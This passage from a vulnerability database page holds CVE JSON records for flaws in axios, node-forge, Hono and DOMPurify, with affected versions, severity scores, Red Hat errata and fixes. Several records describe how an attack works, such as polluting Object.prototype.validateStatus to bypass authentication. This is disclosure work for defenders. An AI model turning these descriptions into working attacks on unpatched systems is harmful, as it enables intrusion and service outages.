"url": "https://access.redhat.com/errata/RHSA-2026:16476"
},
{
"tags": [
"vendor-advisory",
"x_refsource_REDHAT"
],
"url": "https://access.redhat.com/errata/RHSA-2026:16534"
},
{
"tags": [
"vendor-advisory",
"x_refsource_REDHAT"
],
"url": "https://access.redhat.com/errata/RHSA-2026:16532"
},
{
"tags": [
"vendor-advisory",
"x_refsource_REDHAT"
],
"url": "https://access.redhat.com/errata/RHSA-2026:16535"
},
{
"tags": [
"vendor-advisory",
"x_refsource_REDHAT"
],
"url": "https://access.redhat.com/errata/RHSA-2026:16542"
},
{
"tags": [
"vendor-advisory",
"x_refsource_REDHAT"
],
"url": "https://access.redhat.com/errata/RHSA-2026:22840"
},
{
"tags": [
"vendor-advisory",
"x_refsource_REDHAT"
],
"url": "https://access.redhat.com/errata/RHSA-2026:22629"
},
{
"tags": [
"vendor-advisory",
"x_refsource_REDHAT"
],
"url": "https://access.redhat.com/errata/RHSA-2026:21017"
},
{
"tags": [
"vendor-advisory",
"x_refsource_REDHAT"
],
"url": "https://access.redhat.com/errata/RHSA-2026:24853"
},
{
"tags": [
"vendor-advisory",
"x_refsource_REDHAT"
],
"url": "https://access.redhat.com/errata/RHSA-2026:19375"
},
{
"tags": [
"vendor-advisory",
"x_refsource_REDHAT"
],
"url": "https://access.redhat.com/errata/RHSA-2026:22465"
},
{
"tags": [
"vendor-advisory",
"x_refsource_REDHAT"
],
"url": "https://access.redhat.com/errata/RHSA-2026:23361"
},
{
"tags": [
"vendor-advisory",
"x_refsource_REDHAT"
],
"url": "https://access.redhat.com/errata/RHSA-2026:26214"
},
{
"tags": [
"vendor-advisory",
"x_refsource_REDHAT"
],
"url": "https://access.redhat.com/errata/RHSA-2026:26232"
},
{
"tags": [
"vendor-advisory",
"x_refsource_REDHAT"
],
"url": "https://access.redhat.com/errata/RHSA-2026:26225"
},
{
"tags": [
"vendor-advisory",
"x_refsource_REDHAT"
],
"url": "https://access.redhat.com/errata/RHSA-2026:24536"
},
{
"tags": [
"vendor-advisory",
"x_refsource_REDHAT"
],
"url": "https://access.redhat.com/errata/RHSA-2026:25271"
},
{
"tags": [
"vendor-advisory",
"x_refsource_REDHAT"
],
"url": "https://access.redhat.com/errata/RHSA-2026:17657"
},
{
"tags": [
"vendor-advisory",
"x_refsource_REDHAT"
],
"url": "https://access.redhat.com/errata/RHSA-2026:17699"
},
{
"tags": [
"vendor-advisory",
"x_refsource_REDHAT"
],
"url": "https://access.redhat.com/errata/RHSA-2026:19109"
}
],
"solutions": [
{
"lang": "en",
"value": "RHSA-2026:25089: HawtIO HawtIO 4.4.0"
},
{
"lang": "en",
"value": "RHSA-2026:16874: Network Observability (NETOBSERV) 1.11.2"
},
{
"lang": "en",
"value": "RHSA-2026:24539: Red Hat Advanced Cluster Management for Kubernetes 2.15"
},
{
"lang": "en",
"value": "RHSA-2026:25273: Red Hat Advanced Cluster Management for Kubernetes 2.16"
},
{
"lang": "en",
"value": "RHSA-2026:20889: Red Hat Advanced Cluster Security for Kubernetes 4.10"
},
{
"lang": "en",
"value": "RHSA-2026:20938: Red Hat Advanced Cluster Security for Kubernetes 4.9"
},
{
"lang": "en",
"value": "RHSA-2026:22619: Red Hat Data Grid 8.6.1"
},
{
"lang": "en",
"value": "RHSA-2026:21338: Red Hat Developer Hub 1.8"
},
{
"lang": "en",
"value": "RHSA-2026:33574: Red Hat Developer Hub 1.9"
},
{
"lang": "en",
"value": "RHSA-2026:26234: Red Hat Developer Hub 1.9"
},
{
"lang": "en",
"value": "RHSA-2026:14937: Red Hat Discovery 2"
},
{
"lang": "en",
"value": "RHSA-2026:25041: Red Hat Migration Toolkit 1.8"
},
{
"lang": "en",
"value": "RHSA-2026:24977: Red Hat OpenShift AI 2.25"
},
{
"lang": "en",
"value": "RHSA-2026:17468: Red Hat OpenShift Container Platform 4.20"
},
{
"lang": "en",
"value": "RHSA-2026:17474: Red Hat OpenShift Container Platform 4.21"
},
{
"lang": "en",
"value": "RHSA-2026:21772: Red Hat OpenShift Dev Spaces 3.28"
},
{
"lang": "en",
"value": "RHSA-2026:16476: Red Hat OpenShift Service Mesh 2.6"
},
{
"lang": "en",
"value": "RHSA-2026:16534: Red Hat OpenShift Service Mesh 3.0"
},
{
"lang": "en",
"value": "RHSA-2026:16532: Red Hat OpenShift Service Mesh 3.1"
},
{
"lang": "en",
"value": "RHSA-2026:16535: Red Hat OpenShift Service Mesh 3.2"
},
{
"lang": "en",
"value": "RHSA-2026:16542: Red Hat OpenShift Service Mesh 3.3"
},
{
"lang": "en",
"value": "RHSA-2026:22840: Red Hat Quay 3.10"
},
{
"lang": "en",
"value": "RHSA-2026:22629: Red Hat Quay 3.12"
},
{
"lang": "en",
"value": "RHSA-2026:21017: Red Hat Quay 3.14"
},
{
"lang": "en",
"value": "RHSA-2026:24853: Red Hat Quay 3.15"
},
{
"lang": "en",
"value": "RHSA-2026:19375: Red Hat Quay 3.16"
},
{
"lang": "en",
"value": "RHSA-2026:22465: Red Hat Quay 3.17"
},
{
"lang": "en",
"value": "RHSA-2026:23361: Red Hat Quay 3.9"
},
{
"lang": "en",
"value": "RHSA-2026:26214: Red Hat Satellite 6.18"
},
{
"lang": "en",
"value": "RHSA-2026:26232: Red Hat Satellite 6.18"
},
{
"lang": "en",
"value": "RHSA-2026:26225: Red Hat Satellite 6.18"
},
{
"lang": "en",
"value": "RHSA-2026:24536: multicluster engine for Kubernetes 2.10"
},
{
"lang": "en",
"value": "RHSA-2026:25271: multicluster engine for Kubernetes 2.11"
},
{
"lang": "en",
"value": "RHSA-2026:17657: multicluster engine for Kubernetes 2.6"
},
{
"lang": "en",
"value": "RHSA-2026:17699: multicluster engine for Kubernetes 2.8"
},
{
"lang": "en",
"value": "RHSA-2026:19109: multicluster engine for Kubernetes 2.9"
}
],
"timeline": [
{
"lang": "en",
"time": "2026-04-24T19:01:41.034Z",
"value": "Reported to Red Hat."
},
{
"lang": "en",
"time": "2026-04-24T17:55:30.036Z",
"value": "Made public."
}
],
"title": "axios: Axios: Authentication bypass due to prototype pollution of HTTP error handling",
"x_adpType": "supplier",
"x_generator": {
"engine": "sadp-cli 1.0.0"
}
}
],
"cna": {
"affected": [
{
"product": "axios",
"vendor": "axios",
"versions": [
{
"status": "affected",
"version": "\u003e= 1.0.0, \u003c 1.15.1"
},
{
"status": "affected",
"version": "\u003c 0.31.1"
}
]
}
],
"descriptions": [
{
"lang": "en",
"value": "Axios is a promise based HTTP client for the browser and Node.js. Prior to 1.15.1 and 0.31.1, the Axios library is vulnerable to a Prototype Pollution \"Gadget\" attack that allows any Object.prototype pollution to silently suppress all HTTP error responses (401, 403, 500, etc.), causing them to be treated as successful responses. This completely bypasses application-level authentication and error handling. The root cause is that validateStatus is the only config property using the mergeDirectKeys merge strategy, which uses JavaScript\u0027s in operator \u2014 an operator that inherently traverses the prototype chain. When Object.prototype.validateStatus is polluted with () =\u003e true, all HTTP status codes are accepted as success. This vulnerability is fixed in 1.15.1 and 0.31.1."
}
],
"metrics": [
{
"cvssV3_1": {
"attackComplexity": "HIGH",
"attackVector": "NETWORK",
"availabilityImpact": "NONE",
"baseScore": 4.8,
"baseSeverity": "MEDIUM",
"confidentialityImpact": "LOW",
"integrityImpact": "LOW",
"privilegesRequired": "NONE",
"scope": "UNCHANGED",
"userInteraction": "NONE",
"vectorString": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:L/A:N",
"version": "3.1"
}
}
],
"problemTypes": [
{
"descriptions": [
{
"cweId": "CWE-287",
"description": "CWE-287: Improper Authentication",
"lang": "en",
"type": "CWE"
}
]
},
{
"descriptions": [
{
"cweId": "CWE-1321",
"description": "CWE-1321: Improperly Controlled Modification of Object Prototype Attributes (\u0027Prototype Pollution\u0027)",
"lang": "en",
"type": "CWE"
}
]
}
],
"providerMetadata": {
"dateUpdated": "2026-04-24T17:55:30.036Z",
"orgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
"shortName": "GitHub_M"
},
"references": [
{
"name": "https://github.com/axios/axios/security/advisories/GHSA-w9j2-pvgh-6h63",
"tags": [
"x_refsource_CONFIRM"
],
"url": "https://github.com/axios/axios/security/advisories/GHSA-w9j2-pvgh-6h63"
}
],
"source": {
"advisory": "GHSA-w9j2-pvgh-6h63",
"discovery": "UNKNOWN"
},
"title": "Axios: Authentication Bypass via Prototype Pollution Gadget in `validateStatus` Merge Strategy"
}
},
"cveMetadata": {
"assignerOrgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
"assignerShortName": "GitHub_M",
"cveId": "CVE-2026-42041",
"datePublished": "2026-04-24T17:55:30.036Z",
"dateReserved": "2026-04-23T16:05:01.709Z",
"dateUpdated": "2026-07-01T12:04:57.447Z",
"state": "PUBLISHED"
},
"dataType": "CVE_RECORD",
"dataVersion": "5.2"
}
CVE-2026-33891 (GCVE-0-2026-33891)
Vulnerability from cvelistv5 – Published: 2026-03-27 20:43 – Updated: 2026-07-02 12:05- CWE-835 - Loop with Unreachable Exit Condition ('Infinite Loop')
| URL | Tags | |||||||
|---|---|---|---|---|---|---|---|---|
|
||||||||
| Vendor | Product | Version | ||
|---|---|---|---|---|
| digitalbazaar | forge |
Affected:
< 1.4.0
|
{
"containers": {
"adp": [
{
"metrics": [
{
"other": {
"content": {
"id": "CVE-2026-33891",
"options": [
{
"Exploitation": "poc"
},
{
"Automatable": "yes"
},
{
"Technical Impact": "partial"
}
],
"role": "CISA Coordinator",
"timestamp": "2026-03-30T15:38:00.562704Z",
"version": "2.0.3"
},
"type": "ssvc"
}
}
],
"providerMetadata": {
"dateUpdated": "2026-03-30T15:38:12.388Z",
"orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
"shortName": "CISA-ADP"
},
"title": "CISA ADP Vulnrichment"
},
{
"affected": [
{
"cpes": [
"cpe:/a:redhat:ansible_automation_platform:2.5::el8",
"cpe:/a:redhat:ansible_automation_platform_developer:2.5::el8",
"cpe:/a:redhat:ansible_automation_platform_inside:2.5::el8"
],
"defaultStatus": "affected",
"product": "Red Hat Ansible Automation Platform 2.5 for RHEL 8",
"vendor": "Red Hat"
},
{
"cpes": [
"cpe:/a:redhat:ansible_automation_platform:2.5::el9",
"cpe:/a:redhat:ansible_automation_platform_developer:2.5::el9",
"cpe:/a:redhat:ansible_automation_platform_inside:2.5::el9"
],
"defaultStatus": "affected",
"product": "Red Hat Ansible Automation Platform 2.5 for RHEL 9",
"vendor": "Red Hat"
},
{
"cpes": [
"cpe:/a:redhat:ansible_automation_platform:2.6::el9",
"cpe:/a:redhat:ansible_automation_platform_developer:2.6::el9",
"cpe:/a:redhat:ansible_automation_platform_inside:2.6::el9"
],
"defaultStatus": "affected",
"product": "Red Hat Ansible Automation Platform 2.6 for RHEL 9",
"vendor": "Red Hat"
},
{
"cpes": [
"cpe:/a:redhat:cluster_observability_operator:1.5::el9"
],
"defaultStatus": "affected",
"product": "Cluster Observability Operator 1.5.0",
"vendor": "Red Hat"
},
{
"cpes": [
"cpe:/a:redhat:rhdh:1.8::el9"
],
"defaultStatus": "affected",
"product": "Red Hat Developer Hub 1.8",
"vendor": "Red Hat"
},
{
"cpes": [
"cpe:/a:redhat:rhdh:1.9::el9"
],
"defaultStatus": "affected",
"product": "Red Hat Developer Hub 1.9",
"vendor": "Red Hat"
},
{
"cpes": [
"cpe:/a:redhat:logging:5"
],
"defaultStatus": "affected",
"product": "Logging Subsystem for Red Hat OpenShift",
"vendor": "Red Hat"
},
{
"cpes": [
"cpe:/a:redhat:service_registry:2"
],
"defaultStatus": "affected",
"product": "Red Hat build of Apicurio Registry 2",
"vendor": "Red Hat"
},
{
"cpes": [
"cpe:/a:redhat:podman_desktop:1"
],
"defaultStatus": "affected",
"product": "Red Hat Build of Podman Desktop",
"vendor": "Red Hat"
},
{
"cpes": [
"cpe:/o:redhat:enterprise_linux:10"
],
"defaultStatus": "affected",
"product": "Red Hat Enterprise Linux 10",
"vendor": "Red Hat"
},
{
"cpes": [
"cpe:/a:redhat:jboss_fuse:7"
],
"defaultStatus": "affected",
"product": "Red Hat Fuse 7",
"vendor": "Red Hat"
},
{
"cpes": [
"cpe:/a:redhat:ansible_automation_platform:2.6::el10",
"cpe:/a:redhat:ansible_automation_platform_developer:2.6::el10"
],
"defaultStatus": "unaffected",
"product": "Red Hat Ansible Automation Platform 2.6 for RHEL 10",
"vendor": "Red Hat"
},
{
"cpes": [
"cpe:/a:redhat:cryostat:4"
],
"defaultStatus": "unaffected",
"product": "Cryostat 4",
"vendor": "Red Hat"
},
{
"cpes": [
"cpe:/a:redhat:ansible_automation_platform:2"
],
"defaultStatus": "unaffected",
"product": "Red Hat Ansible Automation Platform 2",
"vendor": "Red Hat"
},
{
"cpes": [
"cpe:/a:redhat:apache_camel_hawtio:4"
],
"defaultStatus": "unaffected",
"product": "Red Hat build of Apache Camel - HawtIO 4",
"vendor": "Red Hat"
},
{
"cpes": [
"cpe:/a:redhat:jboss_data_grid:8"
],
"defaultStatus": "unaffected",
"product": "Red Hat Data Grid 8",
"vendor": "Red Hat"
},
{
"cpes": [
"cpe:/o:redhat:enterprise_linux:8"
],
"defaultStatus": "unaffected",
"product": "Red Hat Enterprise Linux 8",
"vendor": "Red Hat"
},
{
"cpes": [
"cpe:/o:redhat:enterprise_linux:9"
],
"defaultStatus": "unaffected",
"product": "Red Hat Enterprise Linux 9",
"vendor": "Red Hat"
},
{
"cpes": [
"cpe:/a:redhat:jboss_enterprise_bpms_platform:7"
],
"defaultStatus": "unaffected",
"product": "Red Hat Process Automation 7",
"vendor": "Red Hat"
},
{
"cpes": [
"cpe:/a:redhat:quay:3"
],
"defaultStatus": "unaffected",
"product": "Red Hat Quay 3",
"vendor": "Red Hat"
}
],
"datePublic": "2026-03-27T20:43:37.725Z",
"descriptions": [
{
"lang": "en",
"value": "A flaw was found in the node-forge library, a JavaScript implementation of Transport Layer Security. This vulnerability, inherited from the bundled jsbn library, allows a remote attacker to cause a Denial of Service (DoS). When the BigInteger.modInverse() function is called with a zero value, it enters an infinite loop, causing the process to hang indefinitely and consume 100% of the CPU resources."
}
],
"metrics": [
{
"other": {
"content": {
"namespace": "https://access.redhat.com/security/updates/classification/",
"value": "Important"
},
"type": "Red Hat severity rating"
}
},
{
"cvssV3_1": {
"attackComplexity": "LOW",
"attackVector": "NETWORK",
"availabilityImpact": "HIGH",
"baseScore": 7.5,
"baseSeverity": "HIGH",
"confidentialityImpact": "NONE",
"integrityImpact": "NONE",
"privilegesRequired": "NONE",
"scope": "UNCHANGED",
"userInteraction": "NONE",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"version": "3.1"
},
"format": "CVSS"
}
],
"problemTypes": [
{
"descriptions": [
{
"cweId": "CWE-606",
"description": "Unchecked Input for Loop Condition",
"lang": "en",
"type": "CWE"
}
]
}
],
"providerMetadata": {
"dateUpdated": "2026-07-02T12:05:18.780Z",
"orgId": "0b0ca135-0b70-47e7-9f44-1890c2a1c46c",
"shortName": "redhat-SADP"
},
"references": [
{
"tags": [
"vdb-entry",
"x_refsource_REDHAT"
],
"url": "https://access.redhat.com/security/cve/CVE-2026-33891"
},
{
"name": "RHBZ#2452450",
"tags": [
"issue-tracking",
"x_refsource_REDHAT"
],
"url": "https://bugzilla.redhat.com/show_bug.cgi?id=2452450"
},
{
"tags": [
"x_sadp-csaf-vex"
],
"url": "https://security.access.redhat.com/data/csaf/v2/vex/2026/cve-2026-33891.json"
},
{
"tags": [
"vendor-advisory",
"x_refsource_REDHAT"
],
"url": "https://access.redhat.com/errata/RHSA-2026:24761"
},
{
"tags": [
"vendor-advisory",
"x_refsource_REDHAT"
],
"url": "https://access.redhat.com/errata/RHSA-2026:24762"
},
{
"tags": [
"vendor-advisory",
"x_refsource_REDHAT"
],
"url": "https://access.redhat.com/errata/RHSA-2026:34342"
},
{
"tags": [
"vendor-advisory",
"x_refsource_REDHAT"
],
"url": "https://access.redhat.com/errata/RHSA-2026:9742"
},
{
"tags": [
"vendor-advisory",
"x_refsource_REDHAT"
],
"url": "https://access.redhat.com/errata/RHSA-2026:13826"
}
],
"solutions": [
{
"lang": "en",
"value": "RHSA-2026:24761: Red Hat Ansible Automation Platform 2.5 for RHEL 8, Red Hat Ansible Automation Platform 2.5 for RHEL 9"
},
{
"lang": "en",
"value": "RHSA-2026:24762: Red Hat Ansible Automation Platform 2.6 for RHEL 9"
},
{
"lang": "en",
"value": "RHSA-2026:34342: Cluster Observability Operator 1.5.0"
},
{
"lang": "en",
"value": "RHSA-2026:9742: Red Hat Developer Hub 1.8"
},
{
"lang": "en",
"value": "RHSA-2026:13826: Red Hat Developer Hub 1.9"
}
],
"timeline": [
{
"lang": "en",
"time": "2026-03-27T21:01:34.410Z",
"value": "Reported to Red Hat."
},
{
"lang": "en",
"time": "2026-03-27T20:43:37.725Z",
"value": "Made public."
}
],
"title": "node-forge: node-forge: Denial of Service via infinite loop in BigInteger.modInverse()",
"workarounds": [
{
"lang": "en",
"value": "Mitigation for this issue is either not available or the currently available options do not meet the Red Hat Product Security criteria comprising ease of use and deployment, applicability to widespread installation base or stability."
}
],
"x_adpType": "supplier",
"x_generator": {
"engine": "sadp-cli 1.0.0"
}
}
],
"cna": {
"affected": [
{
"product": "forge",
"vendor": "digitalbazaar",
"versions": [
{
"status": "affected",
"version": "\u003c 1.4.0"
}
]
}
],
"descriptions": [
{
"lang": "en",
"value": "Forge (also called `node-forge`) is a native implementation of Transport Layer Security in JavaScript. Prior to version 1.4.0, a Denial of Service (DoS) vulnerability exists in the node-forge library due to an infinite loop in the BigInteger.modInverse() function (inherited from the bundled jsbn library). When modInverse() is called with a zero value as input, the internal Extended Euclidean Algorithm enters an unreachable exit condition, causing the process to hang indefinitely and consume 100% CPU. Version 1.4.0 patches the issue."
}
],
"metrics": [
{
"cvssV3_1": {
"attackComplexity": "LOW",
"attackVector": "NETWORK",
"availabilityImpact": "HIGH",
"baseScore": 7.5,
"baseSeverity": "HIGH",
"confidentialityImpact": "NONE",
"integrityImpact": "NONE",
"privilegesRequired": "NONE",
"scope": "UNCHANGED",
"userInteraction": "NONE",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"version": "3.1"
}
}
],
"problemTypes": [
{
"descriptions": [
{
"cweId": "CWE-835",
"description": "CWE-835: Loop with Unreachable Exit Condition (\u0027Infinite Loop\u0027)",
"lang": "en",
"type": "CWE"
}
]
}
],
"providerMetadata": {
"dateUpdated": "2026-03-27T20:43:37.725Z",
"orgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
"shortName": "GitHub_M"
},
"references": [
{
"name": "https://github.com/digitalbazaar/forge/security/advisories/GHSA-5m6q-g25r-mvwx",
"tags": [
"x_refsource_CONFIRM"
],
"url": "https://github.com/digitalbazaar/forge/security/advisories/GHSA-5m6q-g25r-mvwx"
},
{
"name": "https://github.com/digitalbazaar/forge/commit/9bb8d67b99d17e4ebb5fd7596cd699e11f25d023",
"tags": [
"x_refsource_MISC"
],
"url": "https://github.com/digitalbazaar/forge/commit/9bb8d67b99d17e4ebb5fd7596cd699e11f25d023"
}
],
"source": {
"advisory": "GHSA-5m6q-g25r-mvwx",
"discovery": "UNKNOWN"
},
"title": "Forge has Denial of Service via Infinite Loop in BigInteger.modInverse() with Zero Input"
}
},
"cveMetadata": {
"assignerOrgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
"assignerShortName": "GitHub_M",
"cveId": "CVE-2026-33891",
"datePublished": "2026-03-27T20:43:37.725Z",
"dateReserved": "2026-03-24T15:10:05.682Z",
"dateUpdated": "2026-07-02T12:05:18.780Z",
"state": "PUBLISHED"
},
"dataType": "CVE_RECORD",
"dataVersion": "5.2"
}
CVE-2026-42040 (GCVE-0-2026-42040)
Vulnerability from cvelistv5 – Published: 2026-04-24 17:40 – Updated: 2026-04-27 13:48| URL | Tags | ||||
|---|---|---|---|---|---|
|
|||||
{
"containers": {
"adp": [
{
"metrics": [
{
"other": {
"content": {
"id": "CVE-2026-42040",
"options": [
{
"Exploitation": "poc"
},
{
"Automatable": "no"
},
{
"Technical Impact": "partial"
}
],
"role": "CISA Coordinator",
"timestamp": "2026-04-27T13:48:02.943460Z",
"version": "2.0.3"
},
"type": "ssvc"
}
}
],
"providerMetadata": {
"dateUpdated": "2026-04-27T13:48:06.659Z",
"orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
"shortName": "CISA-ADP"
},
"references": [
{
"tags": [
"exploit"
],
"url": "https://github.com/axios/axios/security/advisories/GHSA-xhjh-pmcv-23jw"
}
],
"title": "CISA ADP Vulnrichment"
}
],
"cna": {
"affected": [
{
"product": "axios",
"vendor": "axios",
"versions": [
{
"status": "affected",
"version": "\u003e= 1.0.0, \u003c 1.15.1"
},
{
"status": "affected",
"version": "\u003c 0.31.1"
}
]
}
],
"descriptions": [
{
"lang": "en",
"value": "Axios is a promise based HTTP client for the browser and Node.js. Prior to 1.15.1 and 0.31.1, the encode() function in lib/helpers/AxiosURLSearchParams.js contains a character mapping (charMap) at line 21 that reverses the safe percent-encoding of null bytes. After encodeURIComponent(\u0027\\x00\u0027) correctly produces the safe sequence %00, the charMap entry \u0027%00\u0027: \u0027\\x00\u0027 converts it back to a raw null byte. Primary impact is limited because the standard axios request flow is not affected. This vulnerability is fixed in 1.15.1 and 0.31.1."
}
],
"metrics": [
{
"cvssV3_1": {
"attackComplexity": "HIGH",
"attackVector": "NETWORK",
"availabilityImpact": "NONE",
"baseScore": 3.7,
"baseSeverity": "LOW",
"confidentialityImpact": "NONE",
"integrityImpact": "LOW",
"privilegesRequired": "NONE",
"scope": "UNCHANGED",
"userInteraction": "NONE",
"vectorString": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:L/A:N",
"version": "3.1"
}
}
],
"problemTypes": [
{
"descriptions": [
{
"cweId": "CWE-116",
"description": "CWE-116: Improper Encoding or Escaping of Output",
"lang": "en",
"type": "CWE"
}
]
},
{
"descriptions": [
{
"cweId": "CWE-626",
"description": "CWE-626: Null Byte Interaction Error (Poison Null Byte)",
"lang": "en",
"type": "CWE"
}
]
}
],
"providerMetadata": {
"dateUpdated": "2026-04-24T17:40:31.125Z",
"orgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
"shortName": "GitHub_M"
},
"references": [
{
"name": "https://github.com/axios/axios/security/advisories/GHSA-xhjh-pmcv-23jw",
"tags": [
"x_refsource_CONFIRM"
],
"url": "https://github.com/axios/axios/security/advisories/GHSA-xhjh-pmcv-23jw"
}
],
"source": {
"advisory": "GHSA-xhjh-pmcv-23jw",
"discovery": "UNKNOWN"
},
"title": "Axios: Null Byte Injection via Reverse-Encoding in AxiosURLSearchParams"
}
},
"cveMetadata": {
"assignerOrgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
"assignerShortName": "GitHub_M",
"cveId": "CVE-2026-42040",
"datePublished": "2026-04-24T17:40:31.125Z",
"dateReserved": "2026-04-23T16:05:01.709Z",
"dateUpdated": "2026-04-27T13:48:06.659Z",
"state": "PUBLISHED"
},
"dataType": "CVE_RECORD",
"dataVersion": "5.2"
}
CVE-2026-39410 (GCVE-0-2026-39410)
Vulnerability from cvelistv5 – Published: 2026-04-08 14:44 – Updated: 2026-04-08 15:17- CWE-20 - Improper Input Validation
| URL | Tags | ||||||||||
|---|---|---|---|---|---|---|---|---|---|---|---|
|
|||||||||||
{
"containers": {
"adp": [
{
"metrics": [
{
"other": {
"content": {
"id": "CVE-2026-39410",
"options": [
{
"Exploitation": "none"
},
{
"Automatable": "no"
},
{
"Technical Impact": "partial"
}
],
"role": "CISA Coordinator",
"timestamp": "2026-04-08T15:17:07.686689Z",
"version": "2.0.3"
},
"type": "ssvc"
}
}
],
"providerMetadata": {
"dateUpdated": "2026-04-08T15:17:14.892Z",
"orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
"shortName": "CISA-ADP"
},
"title": "CISA ADP Vulnrichment"
}
],
"cna": {
"affected": [
{
"product": "hono",
"vendor": "honojs",
"versions": [
{
"status": "affected",
"version": "\u003c 4.12.12"
}
]
}
],
"descriptions": [
{
"lang": "en",
"value": "Hono is a Web application framework that provides support for any JavaScript runtime. Prior to 4.12.12, a discrepancy between browser cookie parsing and parse() handling allows cookie prefix protections to be bypassed. Cookie names that are treated as distinct by the browser may be normalized to the same key by parse(), allowing attacker-controlled cookies to override legitimate ones. This vulnerability is fixed in 4.12.12."
}
],
"metrics": [
{
"cvssV3_1": {
"attackComplexity": "HIGH",
"attackVector": "NETWORK",
"availabilityImpact": "NONE",
"baseScore": 4.8,
"baseSeverity": "MEDIUM",
"confidentialityImpact": "LOW",
"integrityImpact": "LOW",
"privilegesRequired": "NONE",
"scope": "UNCHANGED",
"userInteraction": "NONE",
"vectorString": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:L/A:N",
"version": "3.1"
}
}
],
"problemTypes": [
{
"descriptions": [
{
"cweId": "CWE-20",
"description": "CWE-20: Improper Input Validation",
"lang": "en",
"type": "CWE"
}
]
}
],
"providerMetadata": {
"dateUpdated": "2026-04-08T14:44:40.797Z",
"orgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
"shortName": "GitHub_M"
},
"references": [
{
"name": "https://github.com/honojs/hono/security/advisories/GHSA-r5rp-j6wh-rvv4",
"tags": [
"x_refsource_CONFIRM"
],
"url": "https://github.com/honojs/hono/security/advisories/GHSA-r5rp-j6wh-rvv4"
},
{
"name": "https://github.com/honojs/hono/commit/cc067c85592415cb1880ad3c61ed923472452ec0",
"tags": [
"x_refsource_MISC"
],
"url": "https://github.com/honojs/hono/commit/cc067c85592415cb1880ad3c61ed923472452ec0"
},
{
"name": "https://github.com/honojs/hono/releases/tag/v4.12.12",
"tags": [
"x_refsource_MISC"
],
"url": "https://github.com/honojs/hono/releases/tag/v4.12.12"
}
],
"source": {
"advisory": "GHSA-r5rp-j6wh-rvv4",
"discovery": "UNKNOWN"
},
"title": "Hono has a non-breaking space prefix bypass in cookie name handling in getCookie()"
}
},
"cveMetadata": {
"assignerOrgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
"assignerShortName": "GitHub_M",
"cveId": "CVE-2026-39410",
"datePublished": "2026-04-08T14:44:40.797Z",
"dateReserved": "2026-04-07T00:23:30.595Z",
"dateUpdated": "2026-04-08T15:17:14.892Z",
"state": "PUBLISHED"
},
"dataType": "CVE_RECORD",
"dataVersion": "5.2"
}
CVE-2026-41239 (GCVE-0-2026-41239)
Vulnerability from cvelistv5 – Published: 2026-04-23 14:47 – Updated: 2026-04-25 01:21| URL | Tags | |||||||
|---|---|---|---|---|---|---|---|---|
|
||||||||
{
"containers": {
"adp": [
{
"metrics": [
{
"other": {
"content": {
"id": "CVE-2026-41239",
"options": [
{
"Exploitation": "none"
},
{
"Automatable": "no"
},
{
"Technical Impact": "total"
}
],
"role": "CISA Coordinator",
"timestamp": "2026-04-25T01:21:32.614113Z",
"version": "2.0.3"
},
"type": "ssvc"
}
}
],
"providerMetadata": {
"dateUpdated": "2026-04-25T01:21:43.094Z",
"orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
"shortName": "CISA-ADP"
},
"title": "CISA ADP Vulnrichment"
}
],
"cna": {
"affected": [
{
"product": "DOMPurify",
"vendor": "cure53",
"versions": [
{
"status": "affected",
"version": "\u003e= 1.0.10, \u003c 3.4.0"
}
]
}
],
"descriptions": [
{
"lang": "en",
"value": "DOMPurify is a DOM-only cross-site scripting sanitizer for HTML, MathML, and SVG. Starting in version 1.0.10 and prior to version 3.4.0, `SAFE_FOR_TEMPLATES` strips `{{...}}` expressions from untrusted HTML. This works in string mode but not with `RETURN_DOM` or `RETURN_DOM_FRAGMENT`, allowing XSS via template-evaluating frameworks like Vue 2. Version 3.4.0 patches the issue."
}
],
"metrics": [
{
"cvssV3_1": {
"attackComplexity": "HIGH",
"attackVector": "NETWORK",
"availabilityImpact": "NONE",
"baseScore": 6.8,
"baseSeverity": "MEDIUM",
"confidentialityImpact": "HIGH",
"integrityImpact": "HIGH",
"privilegesRequired": "NONE",
"scope": "UNCHANGED",
"userInteraction": "REQUIRED",
"vectorString": "CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:N",
"version": "3.1"
}
}
],
"problemTypes": [
{
"descriptions": [
{
"cweId": "CWE-79",
"description": "CWE-79: Improper Neutralization of Input During Web Page Generation (\u0027Cross-site Scripting\u0027)",
"lang": "en",
"type": "CWE"
}
]
},
{
"descriptions": [
{
"cweId": "CWE-1289",
"description": "CWE-1289: Improper Validation of Unsafe Equivalence in Input",
"lang": "en",
"type": "CWE"
}
]
}
],
"providerMetadata": {
"dateUpdated": "2026-04-23T14:47:56.129Z",
"orgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
"shortName": "GitHub_M"
},
"references": [
{
"name": "https://github.com/cure53/DOMPurify/security/advisories/GHSA-crv5-9vww-q3g8",
"tags": [
"x_refsource_CONFIRM"
],
"url": "https://github.com/cure53/DOMPurify/security/advisories/GHSA-crv5-9vww-q3g8"
},
{
"name": "https://github.com/cure53/DOMPurify/releases/tag/3.4.0",
"tags": [
"x_refsource_MISC"
],
"url": "https://github.com/cure53/DOMPurify/releases/tag/3.4.0"
}
],
"source": {
"advisory": "GHSA-crv5-9vww-q3g8",
"discovery": "UNKNOWN"
},
"title": "DOMPurify has a SAFE_FOR_TEMPLATES bypass in RETURN_DOM mode"
}
},
"cveMetadata": {
"assignerOrgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
"assignerShortName": "GitHub_M",
"cveId": "CVE-2026-41239",
